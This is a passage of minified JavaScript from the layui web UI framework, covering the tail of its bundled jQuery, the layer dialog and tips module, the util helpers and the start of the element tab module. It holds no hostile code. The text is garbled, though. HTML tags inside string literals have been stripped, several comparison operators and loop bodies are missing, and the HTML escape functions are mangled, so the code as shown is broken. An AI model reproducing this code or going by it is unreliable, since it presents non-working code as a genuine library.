0}),"script"}),pe.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||re;var r=Te.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=y([e],t,i),i&&i.length&&pe(i).remove(),pe.merge([],r.childNodes))};var pn=pe.fn.load;return pe.fn.load=function(e,t,n){if("string"!=typeof e&&pn)return pn.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=pe.trim(e.slice(s,e.length)),e=e.slice(0,s)),pe.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&pe.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?pe("
    ").append(pe.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},pe.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){pe.fn[t]=function(e){return this.on(t,e)}}),pe.expr.filters.animated=function(e){return pe.grep(pe.timers,function(t){return e===t.elem}).length},pe.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=pe.css(e,"position"),f=pe(e),d={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=pe.css(e,"top"),u=pe.css(e,"left"),l=("absolute"===c||"fixed"===c)&&pe.inArray("auto",[o,u])>-1,l?(r=f.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),pe.isFunction(t)&&(t=t.call(e,n,pe.extend({},s))),null!=t.top&&(d.top=t.top-s.top+a),null!=t.left&&(d.left=t.left-s.left+i),"using"in t?t.using.call(e,d):f.css(d)}},pe.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){pe.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,pe.contains(t,i)?("undefined"!=typeof i.getBoundingClientRect&&(r=i.getBoundingClientRect()),n=te(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===pe.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),pe.nodeName(e[0],"html")||(n=e.offset()),n.top+=pe.css(e[0],"borderTopWidth",!0),n.left+=pe.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-pe.css(r,"marginTop",!0),left:t.left-n.left-pe.css(r,"marginLeft",!0)}}},offsetParent:function(){ +return this.map(function(){for(var e=this.offsetParent;e&&!pe.nodeName(e,"html")&&"static"===pe.css(e,"position");)e=e.offsetParent;return e||pt})}}),pe.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);pe.fn[e]=function(r){return Pe(this,function(e,r,i){var o=te(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?pe(o).scrollLeft():i,n?i:pe(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),pe.each(["top","left"],function(e,t){pe.cssHooks[t]=L(fe.pixelPosition,function(e,n){if(n)return n=gt(e,t),ft.test(n)?pe(e).position()[t]+"px":n})}),pe.each({Height:"height",Width:"width"},function(e,t){pe.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){pe.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return Pe(this,function(t,n,r){var i;return pe.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?pe.css(t,n,a):pe.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),pe.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),pe.fn.size=function(){return this.length},pe.fn.andSelf=pe.fn.addBack,layui.define(function(e){layui.$=pe,e("jquery",pe)}),pe});!function(e,t){"use strict";var i,n,a=e.layui&&layui.define,o={getPath:function(){var e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,i=t.length-1,n=i;n>0;n--)if("interactive"===t[n].readyState){e=t[n].src;break}return e||t[i].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),config:{},end:{},minIndex:0,minLeft:[],btn:["确定","取消"],type:["dialog","page","iframe","loading","tips"],getStyle:function(t,i){var n=t.currentStyle?t.currentStyle:e.getComputedStyle(t,null);return n[n.getPropertyValue?"getPropertyValue":"getAttribute"](i)},link:function(t,i,n){if(r.path){var a=document.getElementsByTagName("head")[0],s=document.createElement("link");"string"==typeof i&&(n=i);var l=(n||t).replace(/\.|\//g,""),f="layuicss-"+l,c=0;s.rel="stylesheet",s.href=r.path+t,s.id=f,document.getElementById(f)||a.appendChild(s),"function"==typeof i&&!function u(){return++c>80?e.console&&console.error("layer.css: Invalid"):void(1989===parseInt(o.getStyle(document.getElementById(f),"width"))?i():setTimeout(u,100))}()}}},r={v:"3.3.0",ie:function(){var t=navigator.userAgent.toLowerCase();return!!(e.ActiveXObject||"ActiveXObject"in e)&&((t.match(/msie\s(\d+)/)||[])[1]||"11")}(),index:e.layer&&e.layer.v?1e5:0,path:o.getPath,config:function(e,t){return e=e||{},r.cache=o.config=i.extend({},o.config,e),r.path=o.config.path||r.path,"string"==typeof e.extend&&(e.extend=[e.extend]),o.config.path&&r.ready(),e.extend?(a?layui.addcss("modules/layer/"+e.extend):o.link("theme/"+e.extend),this):this},ready:function(e){var t="layer",i="",n=(a?"modules/layer/":"theme/")+"default/layer.css?v="+r.v+i;return a?layui.addcss(n,e,t):o.link(n,e,t),this},alert:function(e,t,n){var a="function"==typeof t;return a&&(n=t),r.open(i.extend({content:e,yes:n},a?{}:t))},confirm:function(e,t,n,a){var s="function"==typeof t;return s&&(a=n,n=t),r.open(i.extend({content:e,btn:o.btn,yes:n,btn2:a},s?{}:t))},msg:function(e,n,a){var s="function"==typeof n,f=o.config.skin,c=(f?f+" "+f+"-msg":"")||"layui-layer-msg",u=l.anim.length-1;return s&&(a=n),r.open(i.extend({content:e,time:3e3,shade:!1,skin:c,title:!1,closeBtn:!1,btn:!1,resize:!1,end:a},s&&!o.config.skin?{skin:c+" layui-layer-hui",anim:u}:function(){return n=n||{},(n.icon===-1||n.icon===t&&!o.config.skin)&&(n.skin=c+" "+(n.skin||"layui-layer-hui")),n}()))},load:function(e,t){return r.open(i.extend({type:3,icon:e||0,resize:!1,shade:.01},t))},tips:function(e,t,n){return r.open(i.extend({type:4,content:[e,t],closeBtn:!1,time:3e3,shade:!1,resize:!1,fixed:!1,maxWidth:260},n))}},s=function(e){var t=this,a=function(){r.ready(function(){t.creat()})};t.index=++r.index,t.config.maxWidth=i(n).width()-30,t.config=i.extend({},t.config,o.config,e),document.body?a():setTimeout(function(){a()},30)};s.pt=s.prototype;var l=["layui-layer",".layui-layer-title",".layui-layer-main",".layui-layer-dialog","layui-layer-iframe","layui-layer-content","layui-layer-btn","layui-layer-close"];l.anim=["layer-anim-00","layer-anim-01","layer-anim-02","layer-anim-03","layer-anim-04","layer-anim-05","layer-anim-06"],s.pt.config={type:0,shade:.3,fixed:!0,move:l[1],title:"信息",offset:"auto",area:"auto",closeBtn:1,time:0,zIndex:19891014,maxWidth:360,anim:0,isOutAnim:!0,icon:-1,moveType:1,resize:!0,scrollbar:!0,tips:2},s.pt.vessel=function(e,t){var n=this,a=n.index,r=n.config,s=r.zIndex+a,f="object"==typeof r.title,c=r.maxmin&&(1===r.type||2===r.type),u=r.title?'
    '+(f?r.title[0]:r.title)+"
    ":"";return r.zIndex=s,t([r.shade?'
    ':"",'
    '+(e&&2!=r.type?"":u)+'
    '+(0==r.type&&r.icon!==-1?'':"")+(1==r.type&&e?"":r.content||"")+'
    '+function(){var e=c?'':"";return r.closeBtn&&(e+=''),e}()+""+(r.btn?function(){var e="";"string"==typeof r.btn&&(r.btn=[r.btn]);for(var t=0,i=r.btn.length;t'+r.btn[t]+"";return'
    '+e+"
    "}():"")+(r.resize?'':"")+"
    "],u,i('
    ')),n},s.pt.creat=function(){var e=this,t=e.config,a=e.index,s=t.content,f="object"==typeof s,c=i("body");if(!t.id||!i("#"+t.id)[0]){switch("string"==typeof t.area&&(t.area="auto"===t.area?["",""]:[t.area,""]),t.shift&&(t.anim=t.shift),6==r.ie&&(t.fixed=!1),t.type){case 0:t.btn="btn"in t?t.btn:o.btn[0],r.closeAll("dialog");break;case 2:var s=t.content=f?t.content:[t.content||"","auto"];t.content='';break;case 3:delete t.title,delete t.closeBtn,t.icon===-1&&0===t.icon,r.closeAll("loading");break;case 4:f||(t.content=[t.content,"body"]),t.follow=t.content[1],t.content=t.content[0]+'',delete t.title,t.tips="object"==typeof t.tips?t.tips:[t.tips,!0],t.tipsMore||r.closeAll("tips")}if(e.vessel(f,function(n,r,u){c.append(n[0]),f?function(){2==t.type||4==t.type?function(){i("body").append(n[1])}():function(){s.parents("."+l[0])[0]||(s.data("display",s.css("display")).show().addClass("layui-layer-wrap").wrap(n[1]),i("#"+l[0]+a).find("."+l[5]).before(r))}()}():c.append(n[1]),i(".layui-layer-move")[0]||c.append(o.moveElem=u),e.layero=i("#"+l[0]+a),t.scrollbar||l.html.css("overflow","hidden").attr("layer-full",a)}).auto(a),i("#layui-layer-shade"+e.index).css({"background-color":t.shade[1]||"#000",opacity:t.shade[0]||t.shade}),2==t.type&&6==r.ie&&e.layero.find("iframe").attr("src",s[0]),4==t.type?e.tips():e.offset(),t.fixed&&n.on("resize",function(){e.offset(),(/^\d+%$/.test(t.area[0])||/^\d+%$/.test(t.area[1]))&&e.auto(a),4==t.type&&e.tips()}),t.time<=0||setTimeout(function(){r.close(e.index)},t.time),e.move().callback(),l.anim[t.anim]){var u="layer-anim "+l.anim[t.anim];e.layero.addClass(u).one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend",function(){i(this).removeClass(u)})}t.isOutAnim&&e.layero.data("isOutAnim",!0)}},s.pt.auto=function(e){var t=this,a=t.config,o=i("#"+l[0]+e);""===a.area[0]&&a.maxWidth>0&&(r.ie&&r.ie<8&&a.btn&&o.width(o.innerWidth()),o.outerWidth()>a.maxWidth&&o.width(a.maxWidth));var s=[o.innerWidth(),o.innerHeight()],f=o.find(l[1]).outerHeight()||0,c=o.find("."+l[6]).outerHeight()||0,u=function(e){e=o.find(e),e.height(s[1]-f-c-2*(0|parseFloat(e.css("padding-top"))))};switch(a.type){case 2:u("iframe");break;default:""===a.area[1]?a.maxHeight>0&&o.outerHeight()>a.maxHeight?(s[1]=a.maxHeight,u("."+l[5])):a.fixed&&s[1]>=n.height()&&(s[1]=n.height(),u("."+l[5])):u("."+l[5])}return t},s.pt.offset=function(){var e=this,t=e.config,i=e.layero,a=[i.outerWidth(),i.outerHeight()],o="object"==typeof t.offset;e.offsetTop=(n.height()-a[1])/2,e.offsetLeft=(n.width()-a[0])/2,o?(e.offsetTop=t.offset[0],e.offsetLeft=t.offset[1]||e.offsetLeft):"auto"!==t.offset&&("t"===t.offset?e.offsetTop=0:"r"===t.offset?e.offsetLeft=n.width()-a[0]:"b"===t.offset?e.offsetTop=n.height()-a[1]:"l"===t.offset?e.offsetLeft=0:"lt"===t.offset?(e.offsetTop=0,e.offsetLeft=0):"lb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=0):"rt"===t.offset?(e.offsetTop=0,e.offsetLeft=n.width()-a[0]):"rb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=n.width()-a[0]):e.offsetTop=t.offset),t.fixed||(e.offsetTop=/%$/.test(e.offsetTop)?n.height()*parseFloat(e.offsetTop)/100:parseFloat(e.offsetTop),e.offsetLeft=/%$/.test(e.offsetLeft)?n.width()*parseFloat(e.offsetLeft)/100:parseFloat(e.offsetLeft),e.offsetTop+=n.scrollTop(),e.offsetLeft+=n.scrollLeft()),i.attr("minLeft")&&(e.offsetTop=n.height()-(i.find(l[1]).outerHeight()||0),e.offsetLeft=i.css("left")),i.css({top:e.offsetTop,left:e.offsetLeft})},s.pt.tips=function(){var e=this,t=e.config,a=e.layero,o=[a.outerWidth(),a.outerHeight()],r=i(t.follow);r[0]||(r=i("body"));var s={width:r.outerWidth(),height:r.outerHeight(),top:r.offset().top,left:r.offset().left},f=a.find(".layui-layer-TipsG"),c=t.tips[0];t.tips[1]||f.remove(),s.autoLeft=function(){s.left+o[0]-n.width()>0?(s.tipLeft=s.left+s.width-o[0],f.css({right:12,left:"auto"})):s.tipLeft=s.left},s.where=[function(){s.autoLeft(),s.tipTop=s.top-o[1]-10,f.removeClass("layui-layer-TipsB").addClass("layui-layer-TipsT").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left+s.width+10,s.tipTop=s.top,f.removeClass("layui-layer-TipsL").addClass("layui-layer-TipsR").css("border-bottom-color",t.tips[1])},function(){s.autoLeft(),s.tipTop=s.top+s.height+10,f.removeClass("layui-layer-TipsT").addClass("layui-layer-TipsB").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left-o[0]-10,s.tipTop=s.top,f.removeClass("layui-layer-TipsR").addClass("layui-layer-TipsL").css("border-bottom-color",t.tips[1])}],s.where[c-1](),1===c?s.top-(n.scrollTop()+o[1]+16)<0&&s.where[2]():2===c?n.width()-(s.left+s.width+o[0]+16)>0||s.where[3]():3===c?s.top-n.scrollTop()+s.height+o[1]+16-n.height()>0&&s.where[0]():4===c&&o[0]+16-s.left>0&&s.where[1](),a.find("."+l[5]).css({"background-color":t.tips[1],"padding-right":t.closeBtn?"30px":""}),a.css({left:s.tipLeft-(t.fixed?n.scrollLeft():0),top:s.tipTop-(t.fixed?n.scrollTop():0)})},s.pt.move=function(){var e=this,t=e.config,a=i(document),s=e.layero,l=s.find(t.move),f=s.find(".layui-layer-resize"),c={};return t.move&&l.css("cursor","move"),l.on("mousedown",function(e){e.preventDefault(),t.move&&(c.moveStart=!0,c.offset=[e.clientX-parseFloat(s.css("left")),e.clientY-parseFloat(s.css("top"))],o.moveElem.css("cursor","move").show())}),f.on("mousedown",function(e){e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],c.area=[s.outerWidth(),s.outerHeight()],o.moveElem.css("cursor","se-resize").show()}),a.on("mousemove",function(i){if(c.moveStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1],l="fixed"===s.css("position");if(i.preventDefault(),c.stX=l?0:n.scrollLeft(),c.stY=l?0:n.scrollTop(),!t.moveOut){var f=n.width()-s.outerWidth()+c.stX,u=n.height()-s.outerHeight()+c.stY;af&&(a=f),ou&&(o=u)}s.css({left:a,top:o})}if(t.resize&&c.resizeStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1];i.preventDefault(),r.style(e.index,{width:c.area[0]+a,height:c.area[1]+o}),c.isResize=!0,t.resizing&&t.resizing(s)}}).on("mouseup",function(e){c.moveStart&&(delete c.moveStart,o.moveElem.hide(),t.moveEnd&&t.moveEnd(s)),c.resizeStart&&(delete c.resizeStart,o.moveElem.hide())}),e},s.pt.callback=function(){function e(){var e=a.cancel&&a.cancel(t.index,n);e===!1||r.close(t.index)}var t=this,n=t.layero,a=t.config;t.openLayer(),a.success&&(2==a.type?n.find("iframe").on("load",function(){a.success(n,t.index)}):a.success(n,t.index)),6==r.ie&&t.IE6(n),n.find("."+l[6]).children("a").on("click",function(){var e=i(this).index();if(0===e)a.yes?a.yes(t.index,n):a.btn1?a.btn1(t.index,n):r.close(t.index);else{var o=a["btn"+(e+1)]&&a["btn"+(e+1)](t.index,n);o===!1||r.close(t.index)}}),n.find("."+l[7]).on("click",e),a.shadeClose&&i("#layui-layer-shade"+t.index).on("click",function(){r.close(t.index)}),n.find(".layui-layer-min").on("click",function(){var e=a.min&&a.min(n);e===!1||r.min(t.index,a)}),n.find(".layui-layer-max").on("click",function(){i(this).hasClass("layui-layer-maxmin")?(r.restore(t.index),a.restore&&a.restore(n)):(r.full(t.index,a),setTimeout(function(){a.full&&a.full(n)},100))}),a.end&&(o.end[t.index]=a.end)},o.reselect=function(){i.each(i("select"),function(e,t){var n=i(this);n.parents("."+l[0])[0]||1==n.attr("layer")&&i("."+l[0]).length<1&&n.removeAttr("layer").show(),n=null})},s.pt.IE6=function(e){i("select").each(function(e,t){var n=i(this);n.parents("."+l[0])[0]||"none"===n.css("display")||n.attr({layer:"1"}).hide(),n=null})},s.pt.openLayer=function(){var e=this;r.zIndex=e.config.zIndex,r.setTop=function(e){var t=function(){r.zIndex++,e.css("z-index",r.zIndex+1)};return r.zIndex=parseInt(e[0].style.zIndex),e.on("mousedown",t),r.zIndex}},o.record=function(e){var t=[e.width(),e.height(),e.position().top,e.position().left+parseFloat(e.css("margin-left"))];e.find(".layui-layer-max").addClass("layui-layer-maxmin"),e.attr({area:t})},o.rescollbar=function(e){l.html.attr("layer-full")==e&&(l.html[0].style.removeProperty?l.html[0].style.removeProperty("overflow"):l.html[0].style.removeAttribute("overflow"),l.html.removeAttr("layer-full"))},e.layer=r,r.getChildFrame=function(e,t){return t=t||i("."+l[4]).attr("times"),i("#"+l[0]+t).find("iframe").contents().find(e)},r.getFrameIndex=function(e){return i("#"+e).parents("."+l[4]).attr("times")},r.iframeAuto=function(e){if(e){var t=r.getChildFrame("html",e).outerHeight(),n=i("#"+l[0]+e),a=n.find(l[1]).outerHeight()||0,o=n.find("."+l[6]).outerHeight()||0;n.css({height:t+a+o}),n.find("iframe").css({height:t})}},r.iframeSrc=function(e,t){i("#"+l[0]+e).find("iframe").attr("src",t)},r.style=function(e,t,n){var a=i("#"+l[0]+e),r=a.find(".layui-layer-content"),s=a.attr("type"),f=a.find(l[1]).outerHeight()||0,c=a.find("."+l[6]).outerHeight()||0;a.attr("minLeft");s!==o.type[3]&&s!==o.type[4]&&(n||(parseFloat(t.width)<=260&&(t.width=260),parseFloat(t.height)-f-c<=64&&(t.height=64+f+c)),a.css(t),c=a.find("."+l[6]).outerHeight(),s===o.type[2]?a.find("iframe").css({height:parseFloat(t.height)-f-c}):r.css({height:parseFloat(t.height)-f-c-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom"))}))},r.min=function(e,t){var a=i("#"+l[0]+e),s=a.find(l[1]).outerHeight()||0,f=a.attr("minLeft")||181*o.minIndex+"px",c=a.css("position");o.record(a),o.minLeft[0]&&(f=o.minLeft[0],o.minLeft.shift()),a.attr("position",c),r.style(e,{width:180,height:s,left:f,top:n.height()-s,position:"fixed",overflow:"hidden"},!0),a.find(".layui-layer-min").hide(),"page"===a.attr("type")&&a.find(l[4]).hide(),o.rescollbar(e),a.attr("minLeft")||o.minIndex++,a.attr("minLeft",f)},r.restore=function(e){var t=i("#"+l[0]+e),n=t.attr("area").split(",");t.attr("type");r.style(e,{width:parseFloat(n[0]),height:parseFloat(n[1]),top:parseFloat(n[2]),left:parseFloat(n[3]),position:t.attr("position"),overflow:"visible"},!0),t.find(".layui-layer-max").removeClass("layui-layer-maxmin"),t.find(".layui-layer-min").show(),"page"===t.attr("type")&&t.find(l[4]).show(),o.rescollbar(e)},r.full=function(e){var t,a=i("#"+l[0]+e);o.record(a),l.html.attr("layer-full")||l.html.css("overflow","hidden").attr("layer-full",e),clearTimeout(t),t=setTimeout(function(){var t="fixed"===a.css("position");r.style(e,{top:t?0:n.scrollTop(),left:t?0:n.scrollLeft(),width:n.width(),height:n.height()},!0),a.find(".layui-layer-min").hide()},100)},r.title=function(e,t){var n=i("#"+l[0]+(t||r.index)).find(l[1]);n.html(e)},r.close=function(e){r.ready(function(){var t=i("#"+l[0]+e),n=t.attr("type"),a="layer-anim-close";if(t[0]){var s="layui-layer-wrap",f=function(){if(n===o.type[1]&&"object"===t.attr("conType")){t.children(":not(."+l[5]+")").remove();for(var a=t.find("."+s),r=0;r<2;r++)a.unwrap();a.css("display",a.data("display")).removeClass(s)}else{if(n===o.type[2])try{var f=i("#"+l[4]+e)[0];f.contentWindow.document.write(""),f.contentWindow.close(),t.find("."+l[5])[0].removeChild(f)}catch(c){}t[0].innerHTML="",t.remove()}"function"==typeof o.end[e]&&o.end[e](),delete o.end[e]};t.data("isOutAnim")&&t.addClass("layer-anim "+a),i("#layui-layer-moves, #layui-layer-shade"+e).remove(),6==r.ie&&o.reselect(),o.rescollbar(e),t.attr("minLeft")&&(o.minIndex--,o.minLeft.push(t.attr("minLeft"))),r.ie&&r.ie<10||!t.data("isOutAnim")?f():setTimeout(function(){f()},200)}})},r.closeAll=function(e){r.ready(function(){i.each(i("."+l[0]),function(){var t=i(this),n=e?t.attr("type")===e:1;n&&r.close(t.attr("times")),n=null})})};var f=r.cache||{},c=function(e){return f.skin?" "+f.skin+" "+f.skin+"-"+e:""};r.prompt=function(e,t){var a="";if(e=e||{},"function"==typeof e&&(t=e),e.area){var o=e.area;a='style="width: '+o[0]+"; height: "+o[1]+';"',delete e.area}var s,l=2==e.formType?'":function(){return''}(),f=e.success;return delete e.success,r.open(i.extend({type:1,btn:["确定","取消"],content:l,skin:"layui-layer-prompt"+c("prompt"),maxWidth:n.width(),success:function(t){s=t.find(".layui-layer-input"),s.val(e.value||"").focus(),"function"==typeof f&&f(t)},resize:!1,yes:function(i){var n=s.val();""===n?s.focus():n.length>(e.maxlength||500)?r.tips("最多输入"+(e.maxlength||500)+"个字数",s,{tips:1}):t&&t(n,i,s)}},e))},r.tab=function(e){e=e||{};var t=e.tab||{},n="layui-this",a=e.success;return delete e.success,r.open(i.extend({type:1,skin:"layui-layer-tab"+c("tab"),resize:!1,title:function(){var e=t.length,i=1,a="";if(e>0)for(a=''+t[0].title+"";i"+t[i].title+"";return a}(),content:'
      '+function(){var e=t.length,i=1,a="";if(e>0)for(a='
    • '+(t[0].content||"no content")+"
    • ";i'+(t[i].content||"no content")+"";return a}()+"
    ",success:function(t){var o=t.find(".layui-layer-title").children(),r=t.find(".layui-layer-tabmain").children();o.on("mousedown",function(t){t.stopPropagation?t.stopPropagation():t.cancelBubble=!0;var a=i(this),o=a.index();a.addClass(n).siblings().removeClass(n),r.eq(o).show().siblings().hide(),"function"==typeof e.change&&e.change(o)}),"function"==typeof a&&a(t)}},e))},r.photos=function(t,n,a){function o(e,t,i){var n=new Image;return n.src=e,n.complete?t(n):(n.onload=function(){n.onload=null,t(n)},void(n.onerror=function(e){n.onerror=null,i(e)}))}var s={};if(t=t||{},t.photos){var l=t.photos.constructor===Object,f=l?t.photos:{},u=f.data||[],d=f.start||0;s.imgIndex=(0|d)+1,t.img=t.img||"img";var y=t.success;if(delete t.success,l){if(0===u.length)return r.msg("没有图片")}else{var p=i(t.photos),h=function(){u=[],p.find(t.img).each(function(e){var t=i(this);t.attr("layer-index",e),u.push({alt:t.attr("alt"),pid:t.attr("layer-pid"),src:t.attr("layer-src")||t.attr("src"),thumb:t.attr("src")})})};if(h(),0===u.length)return;if(n||p.on("click",t.img,function(){var e=i(this),n=e.attr("layer-index");r.photos(i.extend(t,{photos:{start:n,data:u,tab:t.tab},full:t.full}),!0),h()}),!n)return}s.imgprev=function(e){s.imgIndex--,s.imgIndex<1&&(s.imgIndex=u.length),s.tabimg(e)},s.imgnext=function(e,t){s.imgIndex++,s.imgIndex>u.length&&(s.imgIndex=1,t)||s.tabimg(e)},s.keyup=function(e){if(!s.end){var t=e.keyCode;e.preventDefault(),37===t?s.imgprev(!0):39===t?s.imgnext(!0):27===t&&r.close(s.index)}},s.tabimg=function(e){if(!(u.length<=1))return f.start=s.imgIndex-1,r.close(s.index),r.photos(t,!0,e)},s.event=function(){s.bigimg.hover(function(){s.imgsee.show()},function(){s.imgsee.hide()}),s.bigimg.find(".layui-layer-imgprev").on("click",function(e){e.preventDefault(),s.imgprev()}),s.bigimg.find(".layui-layer-imgnext").on("click",function(e){e.preventDefault(),s.imgnext()}),i(document).on("keyup",s.keyup)},s.loadi=r.load(1,{shade:!("shade"in t)&&.9,scrollbar:!1}),o(u[d].src,function(n){r.close(s.loadi),s.index=r.open(i.extend({type:1,id:"layui-layer-photos",area:function(){var a=[n.width,n.height],o=[i(e).width()-100,i(e).height()-100];if(!t.full&&(a[0]>o[0]||a[1]>o[1])){var r=[a[0]/o[0],a[1]/o[1]];r[0]>r[1]?(a[0]=a[0]/r[0],a[1]=a[1]/r[0]):r[0]'+(u[d].alt||
    '+(u.length>1?'':"")+'
    '+(u[d].alt||"")+""+s.imgIndex+"/"+u.length+"
    ",success:function(e,i){s.bigimg=e.find(".layui-layer-phimg"),s.imgsee=e.find(".layui-layer-imguide,.layui-layer-imgbar"),s.event(e),t.tab&&t.tab(u[d],e),"function"==typeof y&&y(e)},end:function(){s.end=!0,i(document).off("keyup",s.keyup)}},t))},function(){r.close(s.loadi),r.msg("当前图片地址异常
    是否继续查看下一张?",{time:3e4,btn:["下一张","不看了"],yes:function(){u.length>1&&s.imgnext(!0,!0)}})})}},o.run=function(t){i=t,n=i(e),l.html=i("html"),r.open=function(e){var t=new s(e);return t.index}},e.layui&&layui.define?(r.ready(),layui.define("jquery",function(t){r.path=layui.cache.dir,o.run(layui.$),e.layer=r,t("layer",r)})):"function"==typeof define&&define.amd?define(["jquery"],function(){return o.run(e.jQuery),r}):function(){o.run(e.jQuery),r.ready()}()}(window);layui.define("jquery",function(e){"use strict";var t=layui.$,i={fixbar:function(e){var i,a,n="layui-fixbar",o="layui-fixbar-top",r=t(document),l=t("body");e=t.extend({showHeight:200},e),e.bar1=e.bar1===!0?"":e.bar1,e.bar2=e.bar2===!0?"":e.bar2,e.bgcolor=e.bgcolor?"background-color:"+e.bgcolor:"";var c=[e.bar1,e.bar2,""],g=t(['
      ',e.bar1?'
    • '+c[0]+"
    • ":"",e.bar2?'
    • '+c[1]+"
    • ":"",'
    • '+c[2]+"
    • ","
    "].join("")),u=g.find("."+o),s=function(){var t=r.scrollTop();t>=e.showHeight?i||(u.show(),i=1):i&&(u.hide(),i=0)};t("."+n)[0]||("object"==typeof e.css&&g.css(e.css),l.append(g),s(),g.find("li").on("click",function(){var i=t(this),a=i.attr("lay-type");"top"===a&&t("html,body").animate({scrollTop:0},200),e.click&&e.click.call(this,a)}),r.on("scroll",function(){clearTimeout(a),a=setTimeout(function(){s()},100)}))},countdown:function(e,t,i){var a=this,n="function"==typeof t,o=new Date(e).getTime(),r=new Date(!t||n?(new Date).getTime():t).getTime(),l=o-r,c=[Math.floor(l/864e5),Math.floor(l/36e5)%24,Math.floor(l/6e4)%60,Math.floor(l/1e3)%60];n&&(i=t);var g=setTimeout(function(){a.countdown(e,r+1e3,i)},1e3);return i&&i(l>0?c:[0,0,0,0],t,g),l<=0&&clearTimeout(g),g},timeAgo:function(e,t){var i=this,a=[[],[]],n=(new Date).getTime()-new Date(e).getTime();return n>26784e5?(n=new Date(e),a[0][0]=i.digit(n.getFullYear(),4),a[0][1]=i.digit(n.getMonth()+1),a[0][2]=i.digit(n.getDate()),t||(a[1][0]=i.digit(n.getHours()),a[1][1]=i.digit(n.getMinutes()),a[1][2]=i.digit(n.getSeconds())),a[0].join("-")+" "+a[1].join(":")):n>=864e5?(n/1e3/60/60/24|0)+"天前":n>=36e5?(n/1e3/60/60|0)+"小时前":n>=18e4?(n/1e3/60|0)+"分钟前":n<0?"未来":"刚刚"},digit:function(e,t){var i="";e=String(e),t=t||2;for(var a=e.length;a/g,">").replace(/'/g,"'").replace(/"/g,""")},unescape:function(e){return String(e||"").replace(/\&/g,"&").replace(/\</g,"<").replace(/\>/g,">").replace(/\'/,"'").replace(/\"/,'"')},event:function(e,a,n){var o=t("body");return n=n||"click",a=i.event[e]=t.extend(!0,i.event[e],a)||{},i.event.UTIL_EVENT_CALLBACK=i.event.UTIL_EVENT_CALLBACK||{},o.off(n,"*["+e+"]",i.event.UTIL_EVENT_CALLBACK[e]),i.event.UTIL_EVENT_CALLBACK[e]=function(){var i=t(this),n=i.attr(e);"function"==typeof a[n]&&a[n].call(this,i)},o.on(n,"*["+e+"]",i.event.UTIL_EVENT_CALLBACK[e]),a}};e("util",i)});layui.define("jquery",function(t){"use strict";var a=layui.$,i=(layui.hint(),layui.device()),e="element",l="layui-this",n="layui-show",s=function(){this.config={}};s.prototype.set=function(t){var i=this;return a.extend(!0,i.config,t),i},s.prototype.on=function(t,a){return layui.onevent.call(this,e,t,a)},s.prototype.tabAdd=function(t,i){var e=".layui-tab-title",l=a(".layui-tab[lay-filter="+t+"]"),n=l.children(e),s=n.children(".layui-tab-bar"),o=l.children(".layui-tab-content"),r='
  • "+(i.title||"unnaming")+"
  • ";return s[0]?s.before(r):n.append(r),o.append('
    '+(i.content||"")+"
